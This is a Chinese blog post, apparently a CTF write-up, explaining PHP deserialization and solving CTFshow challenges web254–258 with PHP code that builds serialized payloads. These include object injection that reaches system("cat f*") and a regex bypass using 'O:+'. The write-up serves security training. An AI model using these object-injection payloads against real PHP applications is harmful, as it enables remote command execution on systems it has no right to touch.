IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFshow--php反序列化1 -> 正文阅读

[PHP知识库]CTFshow--php反序列化1

简介

php序列化和反序列用到两个函数
序列化:serialize,将对象格式化为一个新的字符串
反序列化:unserialize,将字符串还原为原来的对象。
一般在CTF中,可以通过自己写php代码,并传序列化后的代码,可以覆盖原来的代码,从而改变代码执行过程,达到自己的目的(仅限我的理解)

入门

参考:
https://blog.csdn.net/solitudi/article/details/113588692?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163090819616780357263384%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=163090819616780357263384&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-1-113588692.pc_v2_rank_blog_default&utm_term=php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4450

https://blog.csdn.net/q20010619/article/details/108352029?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163093042316780271566242%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=163093042316780271566242&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-3-108352029.pc_search_result_hbase_insert&utm_term=php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187

反序列化中常见的魔法函数

__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

web254

感觉和反序列化没有关系,直接通过URL参数传入,username=xxxxxx&password=xxxxxx

web255

看代码得知,url传参数?username=xxxxxx&password=xxxxxx
并且使得属性isVip=true,才可以得到flag
所以使用unserialize,改变原来代码的isVip属性值

<?php
class ctfShowUser{
    public $isVip=true;
}
echo serialize(new ctfShowUser);

然后用得到的字符串,写进cookie中

web256

看代码,需要满足username和password不相同
使用unserialize去构造字符串,使两者不同

<?php
class ctfShowUser{
    public $isVip=true;
    public $username='a';
}
echo serialize(new ctfShowUser);

web257

看代码,跟前面几个题不相同了,需要你通过eval的命令执行来得到flag
ctfShowUser类中的__construct()和__destruct(),可以执行其他类的代码

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

web258

绕过正则,在O:后面加一个+来绕过正则,且把private改成public

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("cat f*");';
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace('O:','O:+',$b);
echo urlencode($b);

为什么需要用urlencode?

原因就是属性的修饰词不同,在反序列化中,private和protected都有例外
private:序列化后变量前\x00类名\x00 protected:序列化后变量前\x00*\x00

<?php
class xctf{
    private $flag = '111';
    public $a='222';
    protected $b='333';
    public function __wakeup(){
    exit('bad requests');
    }
}
$a=new xctf();
echo serialize($a.PHP_EOL);
?>

输出

O:4:"xctf":3:{s:10:"xctfflag";s:3:"111";s:1:"a";s:3:"222";s:4:"*b";s:3:"333";}

这样序列化后,出现了不可见字符
所以一般需要urlcode编码,当然在本地存储耿采用base64编码

补充知识点

php中输出打印的方式

echo ,有无括号都可以,输出字符串
print,可以打印字符串
printf,类似于C语言了,%s: 按字符串;
%d: 按整型;
%b: 按二进制;
%x:16进制;
%o: 按八进制;
$f: 按浮点型
print_r,专门用来输出数组类型
var_dump,可以输出字符串和数组,用来调试
die,停止下面的程序执行,并输出一定的内容
参考:
https://www.jb51.net/article/91388.htm
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-12 12:57:52  更:2021-09-12 12:58:42 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 6:48:00-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码